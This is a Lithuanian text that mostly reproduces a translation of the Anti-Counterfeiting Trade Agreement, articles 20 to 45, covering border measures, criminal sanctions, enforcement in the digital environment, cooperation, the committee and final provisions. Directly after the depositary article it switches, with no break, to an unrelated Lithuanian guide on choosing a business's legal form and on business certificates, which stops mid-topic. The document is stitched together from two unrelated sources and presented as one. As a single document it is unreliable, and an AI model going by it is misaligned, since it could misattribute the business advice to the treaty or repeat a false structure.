2.                   Kad prekes su suklastotu prekių ženklu būtų leista parduoti prekybos kanalais, neužtenka tiesiog pašalinti neteisėtai uždėtą prekių ženklą , išskyrus ypatingus atvejus.

3.                   Šalis gali nustatyti, kad jos kompetentingos institucijos yra įgaliotos taikyti administracines nuobaudas po to, kai pagal 19 straipsnį (Pažeidimo nustatymas) nustatoma, kad prekės yra neteisėtos.

21 straipsnis

Mokesčiai

Kiekviena Šalis nustato, kad bet koks prašymo pateikimo, prekių saugojimo arba sunaikinimo mokestis, kurį atsižvelgdamos į šiame skirsnyje aprašytas procedūras turi nustatyti jos kompetentingos institucijos, neturi nepagrįstai trukdyti taikyti šias procedūras.

22 straipsnis

Informacijos atskleidimas

Nedarant poveikio Šalies teisės aktams, susijusiems su privatumu ir informacijos konfidencialumu:

a)       Šalis gali įgalioti savo kompetentingas institucijas teisių turėtojui suteikti informacijos apie konkrečias prekių siuntas, įskaitant prekių aprašą ir kiekį, kad padėtų aptikti neteisėtas prekes;

b)      Šalis gali įgalioti savo kompetentingas institucijas teisių turėtojui suteikti informacijos apie prekes, įskaitant prekių aprašą ir kiekį, siuntėjo, importuotojo, eksportuotojo arba gavėjo vardą, pavardę ar pavadinimą ir adresą ir, jei žinoma, prekių kilmės šalį, prekių gamintojo vardą, pavardę ar pavadinimą ir adresą, bet tuo neapsiribojant, kad pagal 19 straipsnį (Pažeidimo nustatymas) padėtų nustatyti, ar prekės teisėtos;

c)       jeigu Šalis nenustatė, kad jos kompetentingoms institucijoms suteiktas b punkte aprašytas įgaliojimas, bent importuotų prekių atveju, kai jos kompetentingos institucijos areštavo įtartinas prekes arba kitu atveju – pagal 19 straipsnį (Pažeidimo nustatymas) nustatė, kad prekės yra neteisėtos, Šalis įgalioja savo kompetentingas institucijas per trisdešimt dienų[8] nuo arešto arba pažeidimo nustatymo teisių turėtojui suteikti informacijos apie tokias prekes, įskaitant prekių aprašą ir kiekį, siuntėjo, importuotojo, eksportuotojo arba gavėjo vardą, pavardę ar pavadinimą ir adresą ir, jei žinoma, prekių kilmės šalį, prekių gamintojo vardą, pavardę ar pavadinimą ir adresą, bet tuo neapsiribojant.

4 skirsnis

BAUDŽIAMŲJŲ NUOSTATŲ VYKDYMAS

23 straipsnis

Nusikalstamos veikos

1.                   Kiekviena Šalis nustato, kad bent tyčinio prekių ženklo klastojimo arba autorių teisių ar gretutinių teisių piratavimo komerciniais tikslais atvejais turi būti taikomas baudžiamasis procesas ir sankcijos[9]. Šiame skirsnyje komerciniais tikslais vykdomi veiksmai apima bent veiksmus, vykdomus kaip komercinė veikla siekiant tiesioginės ar netiesioginės ekonominės ar komercinės naudos.

2.                   Kiekviena Šalis nustato baudžiamojo proceso tvarką ir sankcijas, taikomas tais atvejais, kai, prekiaujant ir vykstant komercinei prekybai, tyčia importuojamos[10] ir viduje naudojamos etiketės ar pakuotės[11]:

a)       ant kurių be leidimo uždėtas ženklas, identiškas jos teritorijoje užregistruotam prekių ženklui, arba ženklas, kurio negalima atskirti nuo jos teritorijoje užregistruoto prekių ženklo, ir

b)      kurios skirtos naudoti ant parduodamų prekių arba teikiant paslaugas, kurios yra identiškos prekėms ar paslaugoms, kurioms toks prekių ženklas užregistruotas.

3.                   Atitinkamais atvejais Šalis gali taikyti baudžiamojo proceso tvarką ir sankcijas už kinematografinių kūrinių kopijavimą be leidimo kino filmo rodymo patalpoje, kuri dažniausiai būna atvira visuomenei.

4.                   Dėl šiame straipsnyje nurodytų veikų, už kurias Šalis taiko baudžiamojo proceso tvarką ir sankcijas, ta Šalis užtikrina, kad pagal jos teisę būtų numatyta baudžiamoji atsakomybė už pagalbą ir bendrininkavimą.

5.                   Jei reikia, kiekviena Šalis patvirtina tokias priemones, derančias su jos teisiniais principais, kad būtų galima nustatyti juridinių asmenų atsakomybę (kuri gali būti baudžiamoji) už šiame straipsnyje nurodytas veikas, už kurias Šalis taiko baudžiamojo proceso tvarką ir sankcijas. Tokia atsakomybė nedaro poveikio fizinių asmenų, padariusių nusikalstamas veikas, baudžiamajai atsakomybei.

24 straipsnis

Sankcijos

Kiekviena Šalis nustato sankcijas už 23 straipsnio (Nusikalstamos veikos) 1, 2 ir 4 dalyse nurodytus nusikaltimus, kurios apima įkalinimą ir pakankamai dideles pinigines baudas[12], kad būtų atgrasoma nuo galimų pažeidimų ateityje, ir kurios atitinka už panašaus sunkumo nusikaltimus skiriamų sankcijų lygį.

25 straipsnis

Areštas, konfiskavimas ir sunaikinimas

1.                   Atsižvelgdama į 23 straipsnio (Nusikalstamos veikos) 1, 2, 3 ir 4 dalyse nurodytas veikas, už kurias Šalis taiko baudžiamojo proceso tvarką ir sankcijas, ta Šalis nustato, kad jos kompetentingos institucijos būtų įgaliotos nurodyti areštuoti prekes su įtariamai suklastotu prekių ženklu arba įtariamai autorių teises pažeidžiančias piratines prekes, visas susijusias medžiagas ir priemones, naudotas atliekant įtariamą veiką, dokumentinius įrodymus, susijusius su tariama veika, ir visą turtą, gautą tiesiogiai ar netiesiogiai vykdant veiklą, kuria tariamai pažeidžiamos teisės.

2.                   Jeigu tam, kad galėtų išduoti 1 dalyje nurodytą nurodymą, Šalis reikalauja identifikuoti daiktus, kurie turi būti areštuoti, ta Šalis nereikalauja, kad daiktai būtų aprašyti smulkiau nei reikalinga tam, kad juos būtų galima identifikuoti arešto tikslais.

3.                   Atsižvelgdama į 23 straipsnio (Nusikalstamos veikos) 1, 2, 3 ir 4 dalyse nurodytus nusikaltimus, už kuriuos Šalis taiko baudžiamojo proceso tvarką ir sankcijas, ta Šalis nustato, kad jos kompetentingos institucijos yra įgaliotos nurodyti konfiskuoti arba sunaikinti visas prekes su suklastotu prekių ženklu arba autorių teises pažeidžiančias piratines prekes. Jeigu prekės su suklastotu prekių ženklu arba autorių teises pažeidžiančios piratinės prekės nesunaikinamos, kompetentingos institucijos užtikrina, išskyrus ypatingus atvejus, kad tokių prekių būtų atsikratoma ne prekybos kanalais taip, kad teisių turėtojui nebūtų padaryta jokios žalos. Kiekviena Šalis užtikrina, kad tokios prekės būtų konfiskuojamos arba sunaikinamos be jokio atlygio pažeidėjui.

4.                   Atsižvelgdama į 23 straipsnio (Nusikalstamos veikos) 1, 2, 3 ir 4 dalyse nurodytas veikas, už kurias Šalis nustato baudžiamojo proceso tvarką ir sankcijas, ta Šalis nustato, kad jos kompetentingos institucijos yra įgaliotos nurodyti areštuoti arba sunaikinti medžiagas ir priemones, daugiausia naudotas kuriant prekes su suklastotu prekių ženklu arba autorių teises pažeidžiančias piratines prekes, ir bent rimtų veikų atvejais – visą turtą, gautą tiesiogiai ar netiesiogiai vykdant veiklą, kuria pažeidžiamos teisės. Kiekviena Šalis užtikrina, kad tokios medžiagos, priemonės arba turtas būtų konfiskuojami arba sunaikinami be jokio atlygio pažeidėjui.

5.                   Atsižvelgdama į 23 straipsnio (Nusikalstamos veikos) 1, 2, 3 ir 4 dalyse nurodytas veikas, už kurias Šalis taiko baudžiamojo proceso tvarką ir sankcijas, ta Šalis gali nustatyti, kad jos teisminės institucijos yra įgaliotos nurodyti:

a)       areštuoti turtą, kurio vertė atitinka turto, tiesiogiai ar netiesiogiai sukurto arba gauto vykdant veiklą, kuria tariamai pažeidžiamos teisės, vertę, ir

b)      konfiskuoti turtą, kurio vertė atitinka turto, tiesiogiai ar netiesiogiai sukurto arba gauto vykdant veiklą, kuria pažeidžiamos teisės, vertę.

26 straipsnis

Baudžiamųjų nuostatų vykdymas ex officio

Kiekviena Šalis nustato, kad atitinkamais atvejais jos kompetentingos institucijos gali veikti savo iniciatyva, kad galėtų inicijuoti tyrimą arba teisinius veiksmus, susijusius su 23 straipsnio (Nusikalstamos veikos) 1, 2, 3 ir 4 dalyse nurodytomis nusikalstamomis veikomis, už kurias ta Šalis taiko baudžiamojo proceso tvarką ir sankcijas.

5 skirsnis

intelektinės nuosavybės teisių
GYNIMAS skaitmeninėje erdvėje

27 straipsnis

Teisių gynimas skaitmeninėje erdvėje

1.                   Kiekviena Šalis užtikrina, kad jos teisėje būtų nustatyta 2 skirsnyje (Civilinis teisių gynimas) ir 4 skirsnyje (Baudžiamųjų nuostatų vykdymas) nurodytų procedūrų užtikrinimo tvarka, pagal kurią būtų galima imtis efektyvių veiksmų kovojant su intelektinės nuosavybės teisių pažeidimais skaitmeninėje erdvėje, įskaitant skubias taisomąsias priemones pažeidimams išvengti ir taisomąsias priemones, kurios atgrasytų nuo tolesnių pažeidimų.

2.                   Papildant 1 dalies nuostatas kiekviena Šalis taiko teisių gynimo tvarką kovojant su autorių teisių arba gretutinių teisių pažeidimais skaitmeniniuose tinkluose, pvz., didelio masto platinimo priemonių naudojimu neteisėtais tikslais. Ši tvarka taikoma taip, kad nebūtų kuriama kliūčių teisėtai veiklai, įskaitant elektroninę prekybą, ir kad pagal tos Šalies teisę būtų užtikrinti pagrindiniai principai, kaip antai žodžio laisvė, teisė į nešališką procesą ir privatumo apsauga[13].

3.                   Kiekviena Šalis siekia skatinti bendradarbiavimą verslo bendruomenėje, kad būtų veiksmingai kovojama su prekių ženklo, autorių teisių arba gretutinių teisių pažeidimais, tuo pat metu pagal tos Šalies teisę užtikrinant teisėtą konkurenciją ir pagrindinius principus, kaip antai žodžio laisvė, teisė į nešališką procesą ir privatumo apsauga.

4.                   Šalis pagal joje galiojančius įstatymus ir kitus teisės aktus gali įgalioti kompetentingas institucijas nurodyti interneto paslaugų teikėjui skubiai pateikti informaciją teisės turėtojui, pagal kurią būtų galima nustatyti tariamai pažeidimą padariusį abonentą, jeigu teisės turėtojas pateikė teisiškai galiojantį skundą dėl prekių ženklo, autoriaus teisių arba gretutinių teisių pažeidimo ir jeigu tokios informacijos reikia, kad tos teisės būtų apsaugotos ar užtikrintos. Ši tvarka taikoma taip, kad nebūtų kuriama kliūčių teisėtai veiklai, įskaitant elektroninę prekybą, ir kad pagal tos Šalies teisę būtų užtikrinti pagrindiniai principai, kaip antai žodžio laisvė, teisė į nešališką procesą ir privatumo apsauga.

5.                   Kiekviena Šalis nustato tinkamą teisinę apsaugą ir veiksmingus teisinės gynybos būdus, neleidžiančius išvengti veiksmingų techninių apsaugos priemonių^[14], kurias autoriai, atlikėjai ar fonogramų gamintojai naudoja savo teisėms ginti ir kuriomis ribojami neteisėti veiksmai, susiję su jų kūriniais, kūrinių atlikimu ir fonogramomis, kurių naudoti neleidžia atitinkami autoriai, atlikėjai ar fonogramų gamintojai arba tai draudžiama teisės aktais.

6.                   Siekiant užtikrinti 5 dalyje nurodytą tinkamą teisinę apsaugą ir veiksmingus teisinės gynybos būdus, kiekviena Šalis teikia apsaugą bent šiais atvejais:

a)                   jos teisės aktuose nustatytais atvejais, kai:

i)       veiksmingos techninės apsaugos priemonės neteisėtai vengiama žinant arba turint pagrįstų priežasčių žinoti, ir

ii)      teikiamos paslaugos visuomenei prekiaujant prietaisais arba produktais, įskaitant kompiuterines programas, kurie padeda išvengti veiksmingų techninės apsaugos priemonių, ir

b)      prietaisų arba produktų, įskaitant kompiuterines programas, gamybos, importo arba platinimo ar paslaugų teikimo atvejais, kai:

i)       jie sukurti arba pagaminti siekiant išvengti veiksmingų techninės apsaugos priemonių arba

ii)      jų paskirtis komerciniu požiūriu yra ribota, išskyrus jų paskirtį veiksmingoms techninės apsaugos priemonėms išvengti[15].

7.                   Siekiant apsaugoti elektroninę informaciją apie teisių valdymą[16] kiekviena Šalis nustato tinkamą teisinę apsaugą ir veiksmingus teisinės gynybos būdus kiekvienam asmeniui, kuris sąmoningai be leidimo atliko kurį nors toliau nurodytą veiksmą žinodamas arba, civilinių gynybos būdų atveju, turėdamas pagrindo žinoti, kad jo veiksmai sukels, leis padaryti, palengvins ar nuslėps autorių teisių arba gretutinių teisių pažeidimą:

a)       panaikina arba pakeičia elektroninę informaciją apie teisių valdymą;

b)      platina, platinimo tikslais importuoja, transliuoja, skelbia arba viešina kūrinių, jų atlikimo ar fonogramų kopijas, žinodamas, kad elektroninė informacija apie teisių valdymą be leidimo buvo panaikinta ar pakeista.

8.                   Nustatant tinkamą teisinę apsaugą ir veiksmingus teisinės gynybos būdus pagal 5 ir 7  dalių nuostatas, Šalis gali priimti arba toliau taikyti atitinkamus priemonių, kuriomis įgyvendinamos 5, 6 ir 7 dalių nuostatos, apribojimus arba išimtis. 5, 6 ir 7 dalyse nustatytos prievolės nedaro poveikio teisėms, apribojimams, išimtims arba apsaugos būdams, susijusiems su autorių teisių arba gretutinių teisių pažeidimais pagal Šalies teisę.

III SKYRIUS

TEISIŲ GYNIMO TVARKA

28 straipsnis

Įgūdžiai, informacija ir vidaus koordinavimas

1.                   Kiekviena Šalis ragina kompetentingas už intelektinės nuosavybės teisių gynimą atsakingas institucijas gerinti specialius su ta sritimi susijusius įgūdžius.

2.                   Kiekviena Šalis skatina rinkti ir analizuoti statistinius duomenis ir kitą su intelektinės nuosavybės teisių pažeidimais susijusią svarbią informaciją ir kaupti informaciją apie geriausią patirtį užkertant kelią pažeidimams ir su jais kovojant.

3.                   Kiekviena Šalis prireikus skatina vidaus koordinavimą tarp kompetentingų už intelektinės nuosavybės teisių gynimą atsakingų institucijų ir remia bendrus jų veiksmus.

4.                   Kiekviena Šalis prireikus skatina oficialių ir neoficialių priemonių, kaip antai patariamųjų grupių, kūrimą ir išlaikymą, kad kompetentingos institucijos galėtų susipažinti su teisės turėtojų ir kitų susijusių suinteresuotųjų subjektų nuomonėmis.

29 straipsnis

Rizikos pasienyje valdymas

1.                   Siekiant veiksmingiau ginti intelektinės nuosavybės teises pasienyje kompetentinga Šalies institucija gali:

a)       konsultuotis su susijusiais suinteresuotaisiais subjektais ir su kitų Šalių kompetentingomis už intelektinės nuosavybės teisių gynimą atsakingomis institucijomis, siekiant nustatyti ir valdyti didelę riziką ir skatinti tos rizikos mažinimo veiksmus, ir

b)      dalytis informacija apie intelektinės nuosavybės teisių pasienyje gynimą su kitų Šalių kompetentingomis institucijomis, įskaitant svarbią informaciją, kuria remiantis patikros tikslais lengviau nustatyti ir atrinkti krovinius, kuriuose įtariama esant neteisėtų prekių.

2.                   Šaliai areštavus pažeidžiant intelektinės nuosavybės teises pagamintas importuojamas prekes, jos kompetentingos institucijos gali suteikti eksporto Šaliai informacijos, reikalingos nustatant su areštuotų prekių eksportu susijusias šalis ir prekes. Eksporto Šalies kompetentingos institucijos pagal tos Šalies teisę gali imtis veiksmų prieš tas šalis ir būsimus krovinius.

30 straipsnis

Skaidrumas

Siekiant skatinti intelektinės nuosavybės teisių gynimo tvarkos skaidrumą, kiekviena Šalis pagal savo teisę ir politikos kryptis imasi atitinkamų priemonių, kad paskelbtų ar kitokiu būdu pateiktų visuomenei informacijos apie:

a)       jos teisėje numatytą tvarką, taikomą siekiant ginti intelektinės nuosavybės teises, už tokį gynimą atsakingas kompetentingas institucijas ir pagalbą teikiančius kontaktinius asmenis;

b)      susijusius įstatymus ir kitus teisės aktus, galutinius teismo sprendimus ir bendro taikymo administracinius sprendimus, susijusius su intelektinės nuosavybės teisių gynimu, ir

c)       jos pastangas siekiant sukurti veiksmingą intelektinės nuosavybės teisių gynimo ir apsaugos sistemą.

31 straipsnis

Visuomenės informavimas

Kiekviena Šalis, jei reikia, skatina priimti priemones, kuriomis didinamas visuomenės informuotumas apie intelektinės nuosavybės teisių apsaugos svarbą ir neigiamus intelektinės nuosavybės teisių pažeidimų padarinius.

32 straipsnis

Pažeidžiant intelektinės nuosavybės teises pagamintų prekių sunaikinimas ir aplinkos apsauga

Pažeidžiant intelektinės nuosavybės teises pagamintos prekės sunaikinamos pagal Šalies, kurioje vyksta sunaikinimas, įstatymus ir kitus teisės aktus, susijusius su aplinkos apsauga.

IV SKYRIUS

TARPTAUTINIS BENDRADARBIAVIMAS

33 straipsnis

Tarptautinis bendradarbiavimas

1.                   Kiekviena Šalis pripažįsta, kad tarptautinis bendradarbiavimas yra labai svarbus siekiant veiksmingai apsaugoti intelektinės nuosavybės teises ir kad jį reikėtų skatinti, neatsižvelgiant į pažeidžiant intelektinės nuosavybės teises pagamintų prekių kilmę arba teisės turėtojo buvimo vietą ar pilietybę.

2.                   Kovojant su intelektinės nuosavybės teisių pažeidimais, visų pirma su prekių ženklo klastojimu ir autorių teisių arba gretutinių teisių piratavimu, Šalys, jei reikia, skatina kompetentingų institucijų, atsakingų už intelektinės nuosavybės teisių gynimą, bendradarbiavimą. Į tokį bendradarbiavimą gali būti įtrauktas bendradarbiavimas teisėsaugos srityje, susijęs su baudžiamųjų nuostatų vykdymu, ir bendradarbiavimas dėl pasienyje taikomų šiuo Susitarimu nustatytų priemonių.

3.                   Šiame skyriuje numatytas bendradarbiavimas vykdomas pagal atitinkamus kiekvienos Šalies tarptautinius susitarimus, įstatymus, politikos kryptis, atsižvelgiant į išteklių paskirstymą ir teisėsaugos prioritetus.

34 straipsnis

Informacijos mainai

Nedarant poveikio 29 straipsnio (Rizikos pasienyje valdymas) nuostatoms kiekviena Šalis siekia keistis su kitomis Šalimis:

a)       informacija, kurią Šalis kaupia pagal III skyriaus (Teisių gynimo tvarka) nuostatas, įskaitant statistinius duomenis ir informaciją apie gerąją patirtį;

b)      informacija apie Šalies teisėkūros ir normines priemones, susijusias su intelektinės nuosavybės teisių apsauga ir gynimu, ir

c)       jei reikia, kita informacija, dėl kurios Šalys susitarė tarpusavyje.

35 straipsnis

Gebėjimų stiprinimas ir techninė pagalba

1.                   Kiekviena Šalis, gavusi prašymą ir pagal bendru sutarimu nustatytas sąlygas, stengiasi teikti pagalbą kitoms šio Susitarimo Šalims ir, jei reikia, būsimoms Susitarimo Šalims stiprinant gebėjimus ir teikiant techninę pagalbą, kad būtų geriau ginamos intelektinės nuosavybės teisės. Gebėjimų stiprinimas ir techninė pagalba gali būti susiję su šiomis sritimis:

a)       visuomenės informuotumo apie intelektinės nuosavybės teises didinimu;

b)      nacionalinių teisės aktų, susijusių su intelektinės nuosavybės teisių gynimu, rengimu ir įgyvendinimu;

c)       tarnautojų mokymu, susijusiu su intelektinės nuosavybės teisių gynimu, ir

d)      veiksmų koordinavimu regioniniu ir daugiašaliu lygmenimis.

2.                   Kiekviena Šalis siekia glaudžiai bendradarbiauti su kitomis Šalimis ir, jei reikia, su prie šio Susitarimo neprisijungusiomis Šalimis, kad būtų įgyvendintos 1 dalies nuostatos.

3.                   Šalis gali imtis šiame straipsnyje aprašytų veiksmų kartu su susijusiais privačiojo sektoriaus dalyviais arba tarptautinėmis organizacijomis. Kiekviena Šalis stengiasi išvengti nereikalingo šiame straipsnyje aprašytų veiksmų ir kitos tarptautinio bendradarbiavimo veiklos dubliavimosi.

V SKYRIUS

INSTITUCIJŲ SUSITARIMAI

36 straipsnis

KKPS komitetas

1.                   Šalys įsteigia KKPS komitetą. Komitete atstovaujama kiekvienai Šaliai.

2.                   Komitetui pavedama:

a)       peržiūrėti šio Susitarimo įgyvendinimą ir veikimą;

b)      nagrinėti su šio Susitarimo plėtra susijusius klausimus;

c)       remiantis 42 straipsniu (Pakeitimai) svarstyti bet kokį pasiūlytą šio Susitarimo pakeitimą;

d)      remiantis 43 straipsnio (Prisijungimas) 2 dalimi spręsti apie PPO narių prisijungimo prie šio Susitarimo sąlygas ir

e)       svarstyti bet kokį kitą klausimą, kuris gali turėti įtakos šio Susitarimo įgyvendinimui
ir veikimui.

3.                   Komitetas gali nuspręsti:

a)       įsteigti ad hoc komitetus arba darbo grupes, kurios padėtų Komitetui vykdyti 2 dalyje nustatytus įsipareigojimus, arba, būsimai Susitarimo Šaliai paprašius, teikti paramą prisijungiant prie šio Susitarimo pagal 43 straipsnį (Prisijungimas);

b)      kreiptis patarimo į nevyriausybinių organizacijų atstovus arba nevyriausybines grupes;

c)       teikti rekomendacijas, susijusias su šio Susitarimo įgyvendinimu ir veikimu, taip pat remti geriausios patirties gairių rengimą;

d)      su trečiosiomis šalimis keistis informacija apie intelektinės nuosavybės teisių pažeidimų skaičiaus mažinimą ir geriausia patirtimi, įskaitant prekių klastojimo ir piratavimo nustatymo ir stebėsenos metodus, ir

e)       imtis kitų veiksmų vykdant jam nustatytas pareigas.

4.                   Visi Komiteto sprendimai priimami bendru sutarimu, išskyrus tuos atvejus, kai Komitetas bendru sutarimu nusprendžia kitaip. Laikoma, kad Komitetas priima sprendimą dėl jam svarstyti pateikto klausimo bendru sutarimu, jeigu nei viena posėdyje priimant sprendimą dalyvaujanti Šalis oficialiai neprieštarauja siūlomam sprendimui. Komiteto darbo kalba yra anglų kalba, jo veiklą grindžiantys dokumentai pateikiami anglų kalba.

5.                   Įsigaliojus šiam Susitarimui Komitetas per pagrįstą laikotarpį priima taisykles ir patvirtina savo darbo tvarką ir pakviečia šį Susitarimą pasirašiusias, bet prie jo neprisijungusias Šalis dalyvauti Komiteto tų taisyklių ir darbo tvarkos svarstymuose. Šiose taisyklėse ir darbo tvarkoje:

a)       sprendžiami klausimai, susiję su pirmininkavimu posėdžiams ir jų organizavimu bei organizacinių su šiuo Susitarimu ir jo vykdymu susijusių prievolių atlikimu, ir

b)      taip pat gali būti sprendžiami klausimai, susiję su stebėtojo statuso suteikimu, ir visi kiti klausimai, Komitetui nusprendus, kad jie būtini tinkamam jo veikimui užtikrinti.

6.                   Komitetas gali iš dalies keisti taisykles ir darbo tvarką.

7.                   Nepaisant 4 dalies nuostatų, per pirmuosius penkerius metus po šio Susitarimo įsigaliojimo Komiteto sprendimai dėl taisyklių ir darbo tvarkos priėmimo arba keitimo priimami bendru Šalių ir Susitarimą pasirašiusių, bet prie jo neprisijungusių Šalių sutarimu.

8.                   Praėjus 7 dalyje nustatytam laikotarpiui Komitetas gali priimti arba iš dalies keisti taisykles ir darbo tvarką bendru šio Susitarimo Šalių sutarimu.

9.                   Nepaisant 8 dalies nuostatų, Komitetas gali nuspręsti, kad priimant arba keičiant konkrečią taisyklę arba darbo tvarką būtinas bendras Susitarimo Šalių ir Susitarimą pasirašiusių, bet prie jo neprisijungusių Šalių sutarimas.

10.                 Komitetas posėdžiauja bent vieną kartą per metus, išskyrus atvejus, kai Komitetas nusprendžia kitaip. Pirmasis Komiteto posėdis įvyksta per pagrįstą laikotarpį po šio Susitarimo įsigaliojimo.

11.                 Siekiant didesnio tikrumo Komitetas neprižiūri ir nekontroliuoja teisių gynimo nacionaliniu arba tarptautiniu lygmenimis arba konkrečių intelektinės nuosavybės baudžiamųjų bylų nagrinėjimo.

12.                 Komitetas stengiasi išvengti nereikalingo jo veiklos ir kitų tarptautinių veiksmų, susijusių su intelektinės nuosavybės teisių gynimu, dubliavimosi.

37 straipsnis

Kontaktiniai asmenys

1.                   Kiekviena Šalis skiria kontaktinį asmenį, siekiant palengvinti Šalių keitimąsi informacija apie bet kokį šiame Susitarime nurodytą klausimą.

2.                   Vienai Šaliai paprašius, kitos Šalies kontaktinis asmuo nustato tinkamą tarnybą ar tarnautoją, kuriam gali būti nusiųstas prašančiosios Šalies klausimas ir, jei reikia, padeda prašančiajai Šaliai bendrauti su atitinkama tarnyba ar tarnautoju.

38 straipsnis

Konsultacijos

1.                   Šalis gali raštu prašyti konsultacijų su kita Šalimi dėl bet kokio klausimo, susijusio su šio Susitarimo įgyvendinimu. Gavusi tokį prašymą Šalis palankiai į jį atsižvelgia, atsako į jį ir suteikia tinkamą galimybę konsultuotis.

2.                   Konsultacijos, įskaitant atskiras konsultacijose dalyvaujančių Šalių pozicijas, yra konfidencialios ir vykdomos nedarant poveikio nė vienos Šalies teisėms ar pozicijoms kitose procedūrose, įskaitant procedūrą, nustatytą PPO susitarimo 2 priede pateiktame Susitarime dėl ginčų sprendimo taisyklių ir tvarkos.

3.                   Konsultacijose dalyvaujančios Šalys bendru sutarimu gali pranešti Komitetui apie pagal šį straipsnį vykdomų konsultacijų rezultatus.

VI skyrius

Baigiamosios nuostatos

39 straipsnis

Pasirašymas

Šis Susitarimas nuo 2011 m. gegužės 1 d. iki 2013 m. gegužės 1 d. teikiamas pasirašyti derybų dalyviams[17] ir kitoms PPO narėms, kurių prisijungimui dalyviai pritars bendru sutarimu.

40 straipsnis

Įsigaliojimas

1.                   Šis Susitarimas įsigalioja praėjus trisdešimčiai dienų po šeštojo ratifikavimo, priėmimo arba patvirtinimo dokumento deponavimo dienos tarp tų pasirašiusių Šalių, kurios deponavo atitinkamus ratifikavimo, priėmimo arba patvirtinimo dokumentus.

2.                   Šis Susitarimas įsigalioja kiekvienoje jį pasirašiusioje Šalyje, kuri deponuoja savo ratifikavimo, priėmimo arba patvirtinimo dokumentą po šeštojo ratifikavimo, priėmimo arba patvirtinimo dokumento deponavimo, praėjus trisdešimčiai dienų nuo tos pasirašiusios Šalies ratifikavimo, priėmimo arba patvirtinimo dokumento deponavimo dienos.

41 straipsnis

Išstojimas

Šalis gali išstoti iš šio Susitarimo pateikdama depozitarui raštišką pranešimą. Išstojimas įsigalioja praėjus 180 dienų po to, kai depozitaras gavo pranešimą.

42 straipsnis

Pakeitimai

1.                   Šalis gali pasiūlyti Komitetui šio Susitarimo pakeitimus. Komitetas sprendžia, ar pakeitimo pasiūlymą teikti Šalims ratifikuoti, priimti arba patvirtinti.

2.                   Pakeitimas įsigalioja praėjus devyniasdešimčiai dienų po atitinkamų visų Šalių ratifikavimo, priėmimo arba patvirtinimo dokumentų deponavimo depozitarui dienos.

43 straipsnis

Prisijungimas

1.                   Praėjus 39 straipsnyje (Pasirašymas) nustatytam laikotarpiui bet kuri PPO narė gali kreiptis dėl prisijungimo prie šio Susitarimo.

2.                   Komitetas sprendžia dėl kiekvieno kandidato prisijungimo sąlygų.

3.                   Šis Susitarimas įsigalioja Šalyje kandidatėje praėjus trisdešimčiai dienų po jos prisijungimo, įvykusio laikantis 2 dalyje nurodytų prisijungimo sąlygų, dokumento deponavimo dienos.

44 straipsnis

Susitarimo tekstas

Šis Susitarimas pasirašomas vienu originaliu egzemplioriumi anglų, ispanų ir prancūzų kalbomis; visos redakcijos yra vienodai autentiškos.

45 straipsnis

Depozitaras

Šio Susitarimo depozitaras yra Japonijos Vyriausybė.

Labai dažnai, prieš pradedant verslą susiduriama su dilema: kokią veiklos teisinę formą pasirinkti.
Renkantis veiklos teisinę formą reikėtų sau atsakyti į keletą klausimų:
1.Kokia veiklos sritimi aš užsiimsiu? (prekyba, gamyba, paslaugos)
2.Koks numatomas veiklos tęstinumas?
3.Kokia patirtis pasirenkamos veiklos srityje?
4.Ar dirbsiu vienas ar samdysiu ir pagalbininkus?
5.Kokių išteklių reiks veiklai pradėti?
6.Ir kokia pasirenkamos veiklos rizika?

Turint nors ir preliminarius į šiuos klausimus, galima išsinagrinėti veiklos formų privalumus ir trūkumus.
Tiems, kurių patirtis versle ir numatomoje veikloje yra minimali ar jos nėra, tai labiau tiktų savo jėgas išbandyti individualioje veikloje pagal pažymą arba įsigijus verslo liudijimą, nes sėkmės atveju jūs visada galėsite šią veiklos teisinę formą perregistruoti  į kitą, labiau jums labiau  priimtiną, o nesėkmės atveju jūs patirsite nuostolių minimaliai ir be jokio vargo šią veiklą išregistruosite.

Tiems, kurių patirtis versle ir numatomoje veikloje yra didesnė, jau iš karto paprastai pasirenka registruoti juridinį asmenį – įmonę. Registruojant įmonę reiktų žinoti, kad yra ribotos ir neribotos atsakomybės juridiniai asmenys, pelno siekiančios įmonės ir pelno nesiekiančios įmonės. Nuo to reikia ir pradėti renkantis įmonės rūšį: individualią įmonę, ūkinę bendriją, akcinę bendrovę, viešąją įstaigą ir pan. Paminėtos įmonių rūšys šiuo metu yra populiariausios ir dažniausiai registruojamos. Dalis verslą ketinančių pradėti ar jį vystančių laukia naujos įmonės rūšies įteisinimo, mažosios bendrijos. Kol kas dėl mažųjų bendrijų įteisinimo yra pareikštas Vyriausybės pritarimas ir parengtas Mažųjų bendrijų įstatymo projektas. Tačiau jo kol kas nesvarstė Seimas, todėl sunku prognozuoti, ar šis įstatymas įsigalios nuo 2012 m. liepos 1 d., kaip tai parašyta įstatymo projekte.

Bet čia ne apie tai. Šios publikacijos tikslas – pateikti informaciją apie veiklos teisines formas, jų suteikiamas galimybes, veiklą reglamentuojančią teisinę bazę, formų požymius.
Pradėsime nuo pačios privytimiausios veiklos teisinės formos – individualios veiklos įsigijus verslo liudijimą, rasite informaciją apie individualią veiklą pagal pažymą, individualias įmones, ūkines bendrijas, akcines bendroves, viešąsias įstaigas.
Verslo liudijimai
Verslo liudijimas – tai dokumentas, patvirtinantis fiksuoto pajamų mokesčio sumokėjimą verčiantis individualia veikla, pagal Lietuvos Respublikos Vyriausybės patvirtintą individualios veiklos, kuria gali būti verčiamasi turint verslo liudijimą, rūšių sąrašą.
Ši supaprastinta pajamų mokesčio sumokėjimo forma taikoma tik gyventojų pajamoms, gautoms iš atskirų rūšių prekybinės, gamybinės ar paslaugų veiklos, apmokestinti. Be to, ir pati veikla pagal verslo liudijimą turi būti savarankiška veikla, kuria versdamasis gyventojas siekia gauti pajamų per tęstinį laikotarpį. Verslo liudijimą turinčio gyventojo veiklos santykiai su kitais asmenimis iš esmės turi skirtis nuo darbdavio ir darbuotojo santykių ir neturėti įprastiems darbo santykiams būdingų požymių: susitarimo dėl darbo apmokėjimo, darbo vietos ir funkcijų, darbo laiko, atostogų ir pan. Vykdydamas veiklą, kuria gali būti verčiamasi turint verslo liudijimą, gyventojas pats sprendžia su veikla susijusius klausimus, pats dengia jo veiklos vykdymo išlaidas ir užtikrina, kad jo faktiškai vykdoma veikla neišeitų už individualios veiklos, apmokestintos nustatytu fiksuotu pajamų mokesčiu ir įrašytos verslo liudijime, ribų.
